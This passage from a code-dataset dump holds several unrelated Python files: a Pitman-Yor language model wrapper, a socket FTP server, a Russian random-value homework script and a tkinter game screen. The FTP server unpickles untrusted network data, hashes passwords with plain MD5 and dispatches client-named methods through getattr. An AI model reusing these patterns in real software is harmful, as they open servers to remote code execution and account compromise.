Copy.txt\")\n copyfile(path_to_data, data_copy_path)\n print(\"Copied dataset to output folder.\\n\")\n\n # Write the output of the sampler.\n model_output_file_path = os.path.join(model_output_folder_path, \"Output.txt\")\n with open(model_output_file_path, \"w\") as f:\n f.writelines(output_segmentation)\n print(\"NPYLM output written to file.\\n\")\n\n # Generate statistics.\n data_symbol_count = len(alphabet)\n mean_output_word_length = NestedPitmanYorLanguageModelWrapper.get_mean_word_length(output_segmentation)\n mean_input_word_length = NestedPitmanYorLanguageModelWrapper.get_mean_word_length(sentences)\n sentences_count = len(sentences)\n correct_segmentation_percentage = sum([output_segmentation[i] == sentences[i]\n for i in range(sentences_count)]) / sentences_count\n # if analysis_data is not None:\n # kl_divergence = analysis_data[len(analysis_data)-1][2]\n # else:\n # kl_divergence = 999.9\n #\n # # Write report.\n # model_report_file_path = os.path.join(model_output_folder_path, \"Report.txt\")\n # NestedPitmanYorLanguageModelWrapper.write_report(model_report_file_path, model_name, total_run_time,\n # mean_run_time, data_symbol_count,\n # mean_output_word_length, mean_input_word_length,\n # correct_segmentation_percentage, kl_divergence)\n # print(\"Analysis report written to file.\\n\")\n #\n # # Create plots folder.\n # plots_output_folder_path = os.path.join(model_output_folder_path, \"Plots\")\n # if not os.path.exists(plots_output_folder_path):\n # os.makedirs(plots_output_folder_path)\n # print(\"Created plots folder.\\n\")\n #\n # # Generate plots.\n # #NestedPitmanYorLanguageModelWrapper.generate_plots(plots_output_folder_path, analysis_data)\n # print(\"Generated plots.\\n\")\n\n @staticmethod\n def profile_sampler(path_to_data, max_word_length):\n \"\"\"\n This function runs the sampler for one iterations in order to extract profiling information.\n \n :param path_to_data: Path to data file.\n :param max_word_length: Max allowed word length\n \"\"\"\n iterations = 1\n analysis_frequency = 20\n\n # Load data.\n sentences, alphabet = NestedPitmanYorLanguageModelWrapper.load_text(path_to_data, True)\n print(\"Loaded data\\n\")\n\n # Run sampler.\n npylm = NestedPitmanYorLanguageModel(alphabet, max_word_length)\n output_segmentation, analysis_data, total_run_time, mean_run_time = \\\n npylm.run_sampler(sentences, iterations, analysis_frequency, \"abc\")\n print(\"Sampling finished.\\n\")\n\n # avoid dead code optimization\n print(str(total_run_time))\n\n\n @staticmethod\n def resume_analysis(model_name, path_to_data, model_output_folder_path, analysis_frequency, file_index):\n # TODO: Extract common code between this and the run_analysis function.\n \"\"\"\n Loads a serialized model and resumes the analysis.\n \n :param model_name: The name of the model.\n :param path_to_data: Path to the file containing the segmented data.\n :param model_output_folder_path: Path to the model output folder.\n :param analysis_frequency: The frequency at which to probe the sampler (e.g. for\n analysis_frequency = 10, it will generate analysis data\n at every 10th iteration.\n :param file_index: Index of the serialization file which contains the state at which to\n resume the sampler.\n \"\"\"\n\n # Load data.\n sentences, alphabet = NestedPitmanYorLanguageModelWrapper.load_text(path_to_data, True)\n print(\"Loaded data\\n\")\n\n serialization_folder_path = os.path.join(model_output_folder_path, \"Serialized Models\")\n\n # Run sampler.\n npylm = NestedPitmanYorLanguageModel(alphabet, 0)\n output_segmentation, analysis_data, total_run_time, mean_run_time = \\\n npylm.resume_analysis(sentences, analysis_frequency, serialization_folder_path, file_index)\n print(\"Sampling finished.\\n\")\n\n # Copy data to output folder.\n data_copy_path = os.path.join(model_output_folder_path, \"Data Copy.txt\")\n copyfile(path_to_data, data_copy_path)\n print(\"Copied dataset to output folder.\\n\")\n\n # Write the output of the sampler.\n model_output_file_path = os.path.join(model_output_folder_path, \"Output.txt\")\n with open(model_output_file_path, \"w\") as f:\n f.writelines(output_segmentation)\n print(\"NPYLM output written to file.\\n\")\n\n # Generate statistics.\n data_symbol_count = len(alphabet)\n mean_output_word_length = NestedPitmanYorLanguageModelWrapper.get_mean_word_length(output_segmentation)\n mean_input_word_length = NestedPitmanYorLanguageModelWrapper.get_mean_word_length(sentences)\n sentences_count = len(sentences)\n correct_segmentation_percentage = sum([output_segmentation[i] == sentences[i]\n for i in range(sentences_count)]) / sentences_count\n kl_divergence = analysis_data[len(analysis_data)-1][2]\n\n # Write report.\n model_report_file_path = os.path.join(model_output_folder_path, \"Report.txt\")\n NestedPitmanYorLanguageModelWrapper.write_report(model_report_file_path, model_name, total_run_time,\n mean_run_time, data_symbol_count,\n mean_output_word_length, mean_input_word_length,\n correct_segmentation_percentage, kl_divergence)\n print(\"Analysis report written to file.\\n\")\n\n # Create plots folder.\n plots_output_folder_path = os.path.join(model_output_folder_path, \"Plots\")\n if not os.path.exists(plots_output_folder_path):\n os.makedirs(plots_output_folder_path)\n print(\"Created plots folder.\\n\")\n\n # Generate plots.\n NestedPitmanYorLanguageModelWrapper.generate_plots(plots_output_folder_path, analysis_data)\n print(\"Generated plots.\\n\")\n\n @staticmethod\n def generate_output_for_serialized_model(path_to_data, path_to_model_file, path_to_output_file):\n # Load data.\n sentences, alphabet = NestedPitmanYorLanguageModelWrapper.load_text(path_to_data, True)\n\n # Run sampler.\n npylm = NestedPitmanYorLanguageModel(alphabet, 0)\n npylm._deserialize_model(path_to_model_file)\n output_segmentation = npylm.run_sampler_once(sentences, True)\n\n with open(path_to_output_file, \"w\") as f:\n f.writelines(output_segmentation)\n\n\n# NestedPitmanYorLanguageModelWrapper.run_analysis(model_name=\"Dummy Model Full Data2\",\n# path_to_data=\".\\\\mobydick.txt\",\n# output_folder_path=\".\\\\Output\",\n# iterations=1,\n# max_word_length=13,\n# analysis_frequency=20)\n\n\nNestedPitmanYorLanguageModelWrapper.profile_sampler(path_to_data=\".\\\\mobydick.txt\",\n max_word_length=13)\n\ndef fbs_sum_sample_y(r, tables):\n strength_param = 1.0\n discount_param = 1.0\n\n # This is a fast bernoulli sample + count across different trials with different parameters.\n # The parameters are given by miu = theta / (*tables[i]*d) + theta).\n miu = np.array(list(range(1, tables)), dtype=float)\n miu = strength_param / ((miu * discount_param) + strength_param)\n return (miu >= r).sum()\n\n\ndef sfbs_sum_sample_y(r, tables):\n a = 1.0\n b = 1.0\n\n n = floor((a/b) * ((1-r)/r))\n return min(n, tables)\n\n\ndef bernoulli_trial(mu):\n r = random()\n if r <= mu:\n return 1\n else:\n return 0\n\n\ndef bs_sum_sample_y(tables):\n strength_param = 1.0\n discount_param = 1.0\n\n sum = 0\n for i in range(1,tables+1):\n #sum += bernoulli_trial(strength_param / (strength_param + discount_param * i))\n sum += np.random.binomial(1, strength_param / (strength_param + discount_param * i))\n\n return sum\n\n\ndef compare_sampling_functions(iterations=100, tables=20, prt=None):\n sfbs_results = list()\n bs_results = list()\n sfbs_times = list()\n bs_times = list()\n for i in range(iterations):\n if prt is not None:\n print(\"\\nTest run \" + str(i))\n\n # Measure random number generation\n t_start = clock()\n r = random()\n t_end = clock()\n t_random_gen = t_end - t_start\n\n # Measure sfbs\n t_start = clock()\n result_sfbs = sfbs_sum_sample_y(r, tables)\n t_end = clock()\n t_sfbs = t_end - t_start\n\n # Measure bs\n t_start = clock()\n result_bs = bs_sum_sample_y(tables)\n t_end = clock()\n t_bs = t_end - t_start\n\n sfbs_times.append(t_sfbs)\n bs_times.append(t_bs)\n\n # Report results:\n if prt is not None:\n print(\"Times:\\tSFBS: \" + str(t_sfbs+t_random_gen) + \"\\t|\\tBS: \" + str(t_bs))\n print(\"Results:\\tSFBS: \" + str(result_sfbs) + \"\\t|\\tBS: \" + str(result_bs))\n\n # Record results for statistical analysis\n sfbs_results.append(result_sfbs)\n bs_results.append(result_bs)\n\n m_fbs = sum(sfbs_results) / len(sfbs_results)\n m_bs = sum(bs_results) / len(bs_results)\n print(\"\\nMean results:\\tSFBS: \" + str(m_fbs) + \"\\t|\\tBS: \" + str(m_bs))\n print(\"Times:\\tSFBS: \" + str(sum(sfbs_times)) + \"\\t|\\tBS: \" + str(sum(bs_times)))\n print(\"Speedup: \" + str(sum(bs_times)/sum(sfbs_times)))\n\ndef compare_means():\n its = 400\n tables = 100\n total_count1 = 0\n total_count2 = 0\n for i in range(its):\n r = random()\n total_count1 += sfbs_sum_sample_y(r, tables)\n total_count2 += bs_sum_sample_y(tables)\n\n print(\"Mean SFBS: \" + str(total_count1 / its))\n print(\"Mean BS: \" + str(total_count2 / its))\n\n","sub_path":"npylm_wrapper.py","file_name":"npylm_wrapper.py","file_ext":"py","file_size_in_byte":17429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"451159371","text":"# -*- coding:utf-8 -*-\nimport os\nimport socket\nimport struct\nimport pickle\nimport hashlib\nimport subprocess\n\nfrom conf import settings\nfrom core.user_handle import UserHandle\n\n\nclass FTPServer():\n MAX_SOCKET_LISTEN = 5\n MAX_RECV_SIZE = 8192\n\n def __init__(self):\n self.socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n self.socket.bind((settings.HOST,settings.PORT))\n self.socket.listen(self.MAX_SOCKET_LISTEN)\n\n def server_accept(self):\n \"\"\"等待client链接\"\"\"\n print('starting...')\n while True:\n self.conn,self.client_addr = self.socket.accept()\n print('客户端地址:',self.client_addr)\n try:\n self.server_handle()\n except Exception as e:\n print(e)\n self.conn.close()\n\n def get_recv(self):\n \"\"\"接收client发来的数据\"\"\"\n return pickle.loads(self.conn.recv(self.MAX_RECV_SIZE))\n\n def auth(self):\n \"\"\"处理用户的认证请求\n 1.根据username读取accounts.ini文件,password相比,判断用户是否存在\n 2.将程序运行的目录从bin/ftp_server.py修改到用户home/alice,方便之后查询 ls\n 3.给client返回用户的详细信息\n \"\"\"\n while True:\n user_dic = self.get_recv()\n username = user_dic.get('username')\n user_handle = UserHandle(username)\n # 判断用户是否存在 返回列表eg:[('password', '202cb962ac59075b964b07152d234b70'), ('homedir', 'home/alice'), ('quota', '100')]\n user_data = user_handle.judge_user()\n if user_data:\n if user_data[0][1] == hashlib.md5(user_dic.get('password').encode('utf-8')).hexdigest(): # 密码也相同\n self.conn.send(struct.pack('i', 1)) # 登录成功返回 1\n self.username = username\n self.homedir_path = '%s\\%s\\%s'%(settings.BASE_DIR,'home',self.username)\n os.chdir(self.homedir_path) # 将程序运行的目录名修改到 用户home目录下\n self.quota_bytes = int(user_data[2][1]) * 1024 * 1024 # 将用户配额的大小从M 改到字节\n user_info_dic = {\n 'username': username,\n 'homedir': user_data[1][1],\n 'quota': user_data[2][1]\n }\n self.conn.send(pickle.dumps(user_info_dic)) # 用户的详细信息发送到客户端\n return True\n else:\n self.conn.send(struct.pack('i', 0)) # 登录失败返回 0\n else:\n self.conn.send(struct.pack('i', 0))\n\n def readfile(self):\n \"\"\"读取文件,得到文件内容的bytes型\"\"\"\n with open(self.filepath,'rb') as f:\n filedata = f.read()\n return filedata\n\n def getfile_md5(self):\n \"\"\"对文件内容md5\"\"\"\n return hashlib.md5(self.readfile()).hexdigest()\n\n def get(self):\n \"\"\"从server下载文件到client\n 1.判断用户是否输入文件名\n 2.判断文件是否存在\n 3.接收client发来的文件大小\n 3.1.exist_file_size != 0 表示之前已被下载过一部分\n 3.1.1.发送文件的header_size header_bytes\n 3.1.2.判断exist_file_size是否等于文件的真实大小\n 3.1.2.1.不等,文件以rb模式打开,f.seek(exist_file_size),接着再send(line)\n 3.1.2.2.相等,提示文件大小相等\n 3.2.exist_file_size == 0 表示第一次下载\n 3.2.1.发送文件的header_size header_bytes\n 3.2.2.文件以rb模式打开,send(line)\n \"\"\"\n if len(self.cmds) > 1:\n filename = self.cmds[1]\n filepath = os.path.join(os.getcwd(),filename)\n if os.path.isfile(filepath):\n exist_file_size = struct.unpack('i', self.conn.recv(4))[0]\n self.filepath = filepath\n header_dic = {\n 'filename': filename,\n 'file_md5': self.getfile_md5(),\n 'file_size': os.path.getsize(self.filepath)\n }\n header_bytes = pickle.dumps(header_dic)\n if exist_file_size: # 表示之前被下载过 一部分\n self.conn.send(struct.pack('i', len(header_bytes)))\n self.conn.send(header_bytes)\n if exist_file_size != os.path.getsize(self.filepath):\n with open(self.filepath, 'rb') as f:\n f.seek(exist_file_size)\n for line in f:\n self.conn.send(line)\n else:\n print('断点和文件本身大小一样')\n else: # 文件第一次下载\n self.conn.send(struct.pack('i',len(header_bytes)))\n self.conn.send(header_bytes)\n with open(self.filepath,'rb') as f:\n for line in f:\n self.conn.send(line)\n else: # 这里无论收到文件大小或者0 都不做处理,因为server根本不存在该文件了返回0\n print('当前目录下文件不存在')\n self.conn.send(struct.pack('i',0))\n else:\n print('用户没有输入文件名')\n\n def recursion_file(self,menu):\n \"\"\"递归查询用户home/alice目录下的所有文件,算出文件的大小\"\"\"\n res = os.listdir(menu)\n for i in res:\n path = '%s\\%s' % (menu, i)\n if os.path.isdir(path):\n self.recursion_file(path)\n elif os.path.isfile(path):\n self.home_bytes_size += os.path.getsize(path)\n\n def current_home_size(self):\n \"\"\"得到当前用户home/alice目录的大小,字节/M\"\"\"\n self.home_bytes_size = 0\n self.recursion_file(self.homedir_path)\n print('字节:',self.home_bytes_size) # 单位是字节\n home_m_size = round(self.home_bytes_size / 1024 / 1024, 1)\n print('单位M:', home_m_size) # 单位时 M\n\n def put(self):\n \"\"\"从client上传文件到server当前工作目录下\n 1.判断用户是否输入文件名\n 2.从client得知,待传的文件是否存在\n 2.1.current_home_size(),得知用户home/alice大小,self.home_bytes_size\n 2.2.接收文件header filename file_size file_md5\n 2.3.上传文件在当前目录下,已经存在,断点续传:\n 2.3.1.算出文件已经有的大小,has_size\n 2.3.1.1.发现 has_size == file_size,发送0,告诉client,文件已经存在\n 2.3.1.2.has_size != file_size,接着继续传,\n 2.3.1.2.1.self.home_bytes_size + int(file_size - has_size) > self.quota_bytes\n 算出接着要上传的大小是否超出了配额,超出配额就提示。\n 2.3.1.2.2.没有超出配额,就send(has_size),文件以ab模式打开,f.seek(has_size),f.write()\n 发送每次的has_size,同步,为了client显示进度条\n 2.3.1.2.3.验证文件内容的md5,是否上传成功!\n 2.4.上传文件在当前目录下,不存在,第一次上传:\n 2.4.1.self.home_bytes_size + int(file_size) > self.quota_bytes:\n 验证上传的文件是否超出了用户配额,超出就提示\n 2.4.2.文件以wb模式打开,f.write(),发送每次得recv_size,同步,为了client显示进度条\n 2.4.3.验证文件内容的md5,是否上传成功!\n \"\"\"\n if len(self.cmds) > 1:\n state_size = struct.unpack('i', self.conn.recv(4))[0]\n if state_size:\n self.current_home_size() # 算出了home下已被占用的大小self.home_bytes_size\n header_bytes = self.conn.recv(struct.unpack('i', self.conn.recv(4))[0])\n header_dic = pickle.loads(header_bytes)\n print(header_dic)\n filename = header_dic.get('filename')\n file_size = header_dic.get('file_size')\n file_md5 = header_dic.get('file_md5')\n\n upload_filepath = os.path.join(os.getcwd(), filename)\n self.filepath = upload_filepath # 为了全局变量读取文件算md5时方便\n if os.path.exists(upload_filepath): # 文件已经存在\n self.conn.send(struct.pack('i', 1))\n has_size = os.path.getsize(upload_filepath)\n if has_size == file_size:\n print('文件已经存在')\n self.conn.send(struct.pack('i', 0))\n else: # 上次没有传完 接着继续传\n self.conn.send(struct.pack('i', 1))\n if self.home_bytes_size + int(file_size - has_size) > self.quota_bytes:\n print('超出了用户的配额')\n self.conn.send(struct.pack('i', 0))\n else:\n self.conn.send(struct.pack('i', 1))\n self.conn.send(struct.pack('i', has_size))\n with open(upload_filepath, 'ab') as f:\n f.seek(has_size)\n while has_size < file_size:\n recv_bytes = self.conn.recv(self.MAX_RECV_SIZE)\n f.write(recv_bytes)\n has_size += len(recv_bytes)\n self.conn.send(struct.pack('i', has_size)) # 为了显示 进度条\n\n if self.getfile_md5() == file_md5: # 判断下载下来的文件MD5值和server传过来的MD5值是否一致\n print('\\033[1;32m上传成功\\033[0m')\n self.conn.send(struct.pack('i', 1))\n else:\n print('\\033[1;32m上传失败\\033[0m')\n self.conn.send(struct.pack('i', 0))\n else: # 第一次 上传\n self.conn.send(struct.pack('i', 0))\n if self.home_bytes_size + int(file_size) > self.quota_bytes:\n print('超出了用户的配额')\n self.conn.send(struct.pack('i', 0))\n else:\n self.conn.send(struct.pack('i', 1))\n with open(upload_filepath, 'wb') as f:\n recv_size = 0\n while recv_size < file_size:\n file_bytes = self.conn.recv(self.MAX_RECV_SIZE)\n f.write(file_bytes)\n recv_size += len(file_bytes)\n self.conn.send(struct.pack('i', recv_size)) # 为了进度条的显示\n\n if self.getfile_md5() == file_md5: # 判断下载下来的文件MD5值和server传过来的MD5值是否一致\n print('\\033[1;32m上传成功\\033[0m')\n self.conn.send(struct.pack('i', 1))\n else:\n print('\\033[1;32m上传失败\\033[0m')\n self.conn.send(struct.pack('i', 0))\n else:\n print('待传的文件不存在')\n else:\n print('用户没有输入文件名')\n\n def ls(self):\n \"\"\"查询当前工作目录下,先返回文件列表的大小,在返回查询的结果\"\"\"\n subpro_obj = subprocess.Popen('dir', shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n stdout = subpro_obj.stdout.read()\n stderr = subpro_obj.stderr.read()\n self.conn.send(struct.pack('i', len(stdout + stderr)))\n self.conn.send(stdout)\n self.conn.send(stderr)\n\n def mkdir(self):\n \"\"\"在当前目录下,增加目录\n 1.查看目录名是否已经存在\n 2.增加目录成功,返回 1\n 2.增加目录失败,返回 0\n \"\"\"\n if len(self.cmds) > 1:\n mkdir_path = os.path.join(os.getcwd(),self.cmds[1])\n if not os.path.exists(mkdir_path):\n os.mkdir(mkdir_path)\n print('增加目录成功')\n self.conn.send(struct.pack('i', 1))\n else:\n print('目录名已存在')\n self.conn.send(struct.pack('i', 0))\n else:\n print('用户没有输入目录名')\n\n def cd(self):\n \"\"\"切换目录\n 1.查看是否是目录名\n 2.拿到当前目录,拿到目标目录,\n 3.判断homedir是否在目标目录内,防止用户越过自己的home目录 eg: ../../....\n 4.切换成功,返回 1\n 5.切换失败,返回 0\n \"\"\"\n if len(self.cmds) > 1:\n dir_path = os.path.join(os.getcwd(), self.cmds[1])\n if os.path.isdir(dir_path):\n previous_path = os.getcwd()\n os.chdir(dir_path)\n target_dir = os.getcwd()\n if self.homedir_path in target_dir:\n print('切换成功')\n self.conn.send(struct.pack('i', 1))\n else:\n print('切换失败') # 切换失败后,返回到之前的目录下\n os.chdir(previous_path)\n self.conn.send(struct.pack('i', 0))\n else:\n print('要切换的目录不在该目录下')\n self.conn.send(struct.pack('i', 0))\n else:\n print('没有传入切换的目录名')\n\n def remove(self):\n \"\"\"删除指定的文件,或者空文件夹\n 1.删除成功,返回 1\n 2.删除失败,返回 0\n \"\"\"\n if len(self.cmds) > 1:\n file_name = self.cmds[1]\n file_path = '%s\\%s'%(os.getcwd(),file_name)\n if os.path.isfile(file_path):\n os.remove(file_path)\n self.conn.send(struct.pack('i', 1))\n elif os.path.isdir(file_path): # 删除空目录\n if not len(os.listdir(file_path)):\n os.removedirs(file_path)\n print('删除成功')\n self.conn.send(struct.pack('i', 1))\n else:\n print('文件夹非空,不能删除')\n self.conn.send(struct.pack('i', 0))\n else:\n print('不是文件也不是文件夹')\n self.conn.send(struct.pack('i', 0))\n else:\n print('没有输入要删除的文件')\n\n def server_handle(self):\n \"\"\"处理与用户的交互指令\n 1.下载 get a.txt\n 2.上传 put a.txt\n 3.查询当前目录下的文件列表 ls\n 4.当前目录下增加目录 mkdir test\n 5.切换目录 cd test\n 6.删除文件或空文件夹 remove xxx\n \"\"\"\n if self.auth():\n print('\\033[1;32m用户登录成功\\033[0m')\n while True:\n try: # try ...except 适合windows client 断开\n user_input = self.conn.recv(self.MAX_RECV_SIZE).decode('utf-8')\n if not user_input: continue # 这里适合 linux client 断开\n self.cmds = user_input.split()\n if hasattr(self,self.cmds[0]):\n getattr(self,self.cmds[0])()\n else:\n print('\\033[1;31m请用户重复输入\\033[0m')\n except Exception:\n break\n\n def run(self):\n self.server_accept()\n\n def close(self):\n self.socket.close()","sub_path":"server/core/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":16147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"639382931","text":"\"\"\"\nЗадание 4. Написать программу, которая генерирует в указанных пользователем\nграницах:\n случайное целое число;\n случайное вещественное число;\n случайный символ.\nДля каждого из трех случаев пользователь задает свои границы диапазона.\nНапример, если надо получить случайный символ от 'a' до 'f', то вводятся эти\nсимволы.\nПрограмма должна вывести на экран любой символ алфавита от 'a' до 'f'\nвключительно.\n\nПодсказка:\nНужно обойтись без ф-ций randint() и uniform()\nИспользование этих ф-ций = задание не засчитывается\n\nФункцию random() использовать можно\nОпирайтес�� на пример к уроку\n\"\"\"\n\nfrom random import random\nimport sys\n\n\ndef validation(border, task_num):\n \"\"\"\n Проверка данных в зависимости от выбраной задачи.\n :param border: str\n :param task_num: int\n :return: int if task_num = 1\n float if task_num = 2\n str if task_num = 3\n \"\"\"\n try:\n if task_num == 1:\n border = int(border)\n elif task_num == 2:\n border = float(border)\n else:\n border = ord(border.lower())\n if border < 97 or border > 122:\n sys.exit(\"Вы ввели символ не из английского алфавита\")\n except ValueError:\n sys.exit(f'Вы ввели значение, не являющееся '\n f'{\"целым\" if task_num == 1 else \"вещественным\"} числом.')\n except TypeError:\n sys.exit(\"Вы ввели более одного символа.\")\n return border\n\n\nTASK_NUM = validation((input(\"Какую задачу выполнить?\\n\"\n \"[1] Сгенерировать случайное целое число в \"\n \"указанных границах;\\n\"\n \"[2] Сгенерировать случайное вещественное число \"\n \"в указанных границах;\\n\"\n \"[3] Сгенерировать случайный символ из \"\n \"английского алфавита в указанных границах;\\n\"\n \"[любое другое число] Завершить программу.\\n\")),\n 1)\n\nif not 1 <= TASK_NUM <= 3:\n sys.exit(\"Вы вышли из программы.\")\n\nMIN_BORDER = validation(input(\"Введите нижнюю границу:\\n\"), TASK_NUM)\nMAX_BORDER = validation(input(\"Введите верхнюю границу:\\n\"), TASK_NUM)\n\nif MIN_BORDER > MAX_BORDER:\n MIN_BORDER, MAX_BORDER = MAX_BORDER, MIN_BORDER\n\nif TASK_NUM != 2:\n RAND_RES = int(random() * (MAX_BORDER - MIN_BORDER + 1)) + MIN_BORDER\nelse:\n RAND_RES = round((random() * (MAX_BORDER - MIN_BORDER) + MIN_BORDER), 3)\n\nprint(f\"Вы получили следующее значение из диапазона между \"\n f\"{MIN_BORDER if TASK_NUM != 3 else chr(MIN_BORDER)} и \"\n f\"{MAX_BORDER if TASK_NUM != 3 else chr(MAX_BORDER)}: \"\n f\"{RAND_RES if TASK_NUM != 3 else chr(RAND_RES)}.\")\n","sub_path":"Урок 1. Практическое задание/task_4.py","file_name":"task_4.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"414683193","text":"from tkinter import *\r\nfrom tkinter import font\r\nfrom ..Towns import Towns, Shops\r\nfrom .GUIIndexes import *\r\n\r\nclass TownScreen(Tk):\r\n def __init__(self, game):\r\n Tk.__init__(self)\r\n self.game = game\r\n self.town = game.getCurrentTown()\r\n self.geometry('%dx%d+%d+%d' % self.game.guiHandler.windowInfo)\r\n self.minsize(1000, 600)\r\n self.wm_title(\"{}\".format(self.town.name))\r\n self.titleFont = font.Font(family=\"Comic Sans MS\", size=35, weight=font.BOLD)\r\n self.nameFont = font.Font(family=\"Comic Sans MS\", size = 24, weight=font.BOLD)\r\n self.generalFont = font.Font(family=\"Comic Sans MS\", size=18)\r\n\r\n self.bind(\"\", self.game.save)\r\n\r\n self.addPlayerInformationPanel()\r\n self.shopLabel()\r\n self.addTitleBar()\r\n\r\n self.addCanvas()\r\n\r\n #DEBUG ONLY REMOVE LATER\r\n #self.bind(\"\", self.newTown)\r\n\r\n self.addButtons()\r\n\r\n self.configureGrid()\r\n self.drawShops()\r\n\r\n\r\n def addTitleBar(self):\r\n self.titleBar = Frame()\r\n\r\n self.titleLabel = Label(self.titleBar, text=self.town.name, font=self.titleFont, anchor=W)\r\n self.titleLabel.grid(row=0, column=0, sticky=\"NWS\")\r\n\r\n self.nextTownButton = Button(self.titleBar, text=\"Next Town\", font=self.generalFont, command=self.nextTown)\r\n self.previousTownButton = Button(self.titleBar, text=\"Prev. Town\", font=self.generalFont, command=self.prevTown)\r\n if(self.town.isDungeonDone):\r\n self.enterDungonenButton = Button(self.titleBar, text=\"New Dungeon\", font=self.generalFont, command=self.generateDungeon)\r\n self.nextTownButton.config(state=NORMAL)\r\n self.previousTownButton.config(state=NORMAL)\r\n else:\r\n self.enterDungonenButton = Button(self.titleBar, text=\"Enter Dungeonn\", font=self.generalFont, command=self.openDungeon)\r\n self.nextTownButton.config(state=DISABLED)\r\n self.previousTownButton.config(state=DISABLED)\r\n\r\n\r\n if(self.game.currentTown == 0):\r\n self.enterDungonenButton.grid(row=0, column=1, sticky=\"NEWS\")\r\n self.nextTownButton.grid(row=0, column=2, sticky=\"NEWS\")\r\n self.titleBar.grid_columnconfigure(0, weight=1, minsize=450)\r\n self.titleBar.grid_columnconfigure(1, weight=1)\r\n self.titleBar.grid_columnconfigure(2, weight=1)\r\n else:\r\n self.previousTownButton.grid(row=0, column=1, sticky=\"NEWS\")\r\n self.enterDungonenButton.grid(row=0, column=2, sticky=\"NEWS\")\r\n self.nextTownButton.grid(row=0, column=3, sticky=\"NEWS\")\r\n self.titleBar.grid_columnconfigure(0, weight=3, minsize=500)\r\n self.titleBar.grid_columnconfigure(1, weight=1)\r\n self.titleBar.grid_columnconfigure(2, weight=1)\r\n self.titleBar.grid_columnconfigure(3, weight=1)\r\n\r\n self.titleBar.grid(row=0, column=0, columnspan=3, sticky=\"NWES\")\r\n\r\n def prevTown(self):\r\n self.game.prevTown()\r\n self.town = self.game.getCurrentTown()\r\n self.wm_title(\"{}\".format(self.town.name))\r\n self.addPlayerInformationPanel()\r\n self.shopLabel()\r\n self.addTitleBar()\r\n self.addCanvas()\r\n self.addButtons()\r\n self.drawShops()\r\n\r\n def nextTown(self):\r\n self.game.nextTown()\r\n self.town = self.game.getCurrentTown()\r\n self.wm_title(\"{}\".format(self.town.name))\r\n self.addPlayerInformationPanel()\r\n self.shopLabel()\r\n self.addTitleBar()\r\n self.addCanvas()\r\n self.addButtons()\r\n self.drawShops()\r\n\r\n def generateDungeon(self):\r\n self.town.newDungeon()\r\n self.addTitleBar()\r\n\r\n def openDungeon(self):\r\n self.game.guiHandler.swapGUI(DUNGEON_SCREEN)\r\n\r\n\r\n def addButtons(self):\r\n self.inventoryButton = Button(text=\"Inventory\", font=self.generalFont, command=self.openInventory)\r\n self.inventoryButton.grid(row=2, column=0, sticky=\"NEWS\")\r\n\r\n\r\n def openInventory(self):\r\n self.game.guiHandler.swapGUI(PLAYER_INVENTORY)\r\n\r\n\r\n def addPlayerInformationPanel(self):\r\n self.game.guiHandler.addPlayerInfo(self)\r\n self.playerInfo.grid(row=1, column=0, rowspan=1, columnspan=1, sticky=\"NEW\")\r\n\r\n\r\n def shopOptions(self, event):\r\n hitShop = False\r\n for shop in self.town.shops:\r\n if(event.x in range(shop.x1, shop.x2) and event.y in range(shop.y1, shop.y2)):\r\n self.currentShopName.set(shop.shopName)\r\n self.town.index = self.town.shops.index(shop)\r\n self.currentShop = shop\r\n self.showShop()\r\n hitShop = True\r\n if(hitShop == False):\r\n self.hideShop()\r\n\r\n\r\n def showShop(self):\r\n shopCls = self.currentShop.__class__\r\n if(issubclass(shopCls, Shops.Store)):\r\n self.currentShopUse.set(\"Enter\")\r\n self.doesPlayerHaveMoney(-1)\r\n elif(issubclass(shopCls, Shops.Inn)):\r\n self.currentShopUse.set(\"Sleep for {}\".format(self.currentShop.cost))\r\n self.doesPlayerHaveMoney(self.currentShop.cost, True)\r\n if(self.game.player.currentHealth == self.game.player.totalHealth and self.game.player.currentActionPoints == self.game.player.totalActionPoints):\r\n self.enterButton.config(state=DISABLED)\r\n elif(issubclass(shopCls, Shops.Healer)):\r\n self.currentShop.updateValues()\r\n self.currentShopUse.set(\"Heal {}hp for {}\".format(self.currentShop.pointsToHeal, self.currentShop.totalCost))\r\n self.doesPlayerHaveMoney(self.currentShop.totalCost, True)\r\n elif(issubclass(shopCls, Shops.Blacksmith)):\r\n self.currentShopUse.set(\"Enter\")\r\n self.doesPlayerHaveMoney(-1)\r\n elif(issubclass(shopCls, Shops.Challenge)):\r\n self.currentShopUse.set(\"Enter\")\r\n self.doesPlayerHaveMoney(-1)\r\n\r\n self.shopName.grid(row=2, column=1, rowspan=1, sticky=\"NSEW\")\r\n self.enterButton.grid(row=2, column=2, rowspan=1, sticky=\"NWSE\")\r\n\r\n\r\n def useShop(self):\r\n shopCls = self.currentShop.__class__\r\n if(issubclass(shopCls, Shops.Store)):\r\n self.game.guiHandler.swapGUI(STORE_SCREEN)\r\n elif(issubclass(shopCls, Shops.Inn) or issubclass(shopCls, Shops.Healer)):\r\n self.currentShop.serve()\r\n self.showShop()\r\n self.addPlayerInformationPanel()\r\n elif(issubclass(shopCls, Shops.Blacksmith)):\r\n self.game.guiHandler.swapGUI(BLACKSMITH_SCREEN)\r\n elif(issubclass(shopCls, Shops.Challenge)):\r\n self.game.guiHandler.swapGUI(CHALLENGE_SCREEN)\r\n\r\n\r\n def doesPlayerHaveMoney(self, cost, gold=False):\r\n if(self.game.player.money < cost):\r\n self.enterButton.config(state=DISABLED)\r\n elif(cost == 0):\r\n self.enterButton.config(state=DISABLED)\r\n else:\r\n self.enterButton.config(state=NORMAL)\r\n\r\n if(gold):\r\n self.enterButton.config(image=self.coin, compound=RIGHT)\r\n else:\r\n self.enterButton.config(image=\"\", compound=NONE)\r\n\r\n\r\n def hideShop(self):\r\n self.shopName.grid_forget()\r\n for i in range(2):\r\n self.enterButton.grid_forget()\r\n\r\n\r\n def shopLabel(self):\r\n self.currentShopName = StringVar()\r\n self.currentShopUse = StringVar()\r\n self.shopName = Label(textvariable=self.currentShopName, font=self.generalFont)\r\n self.enterButton = 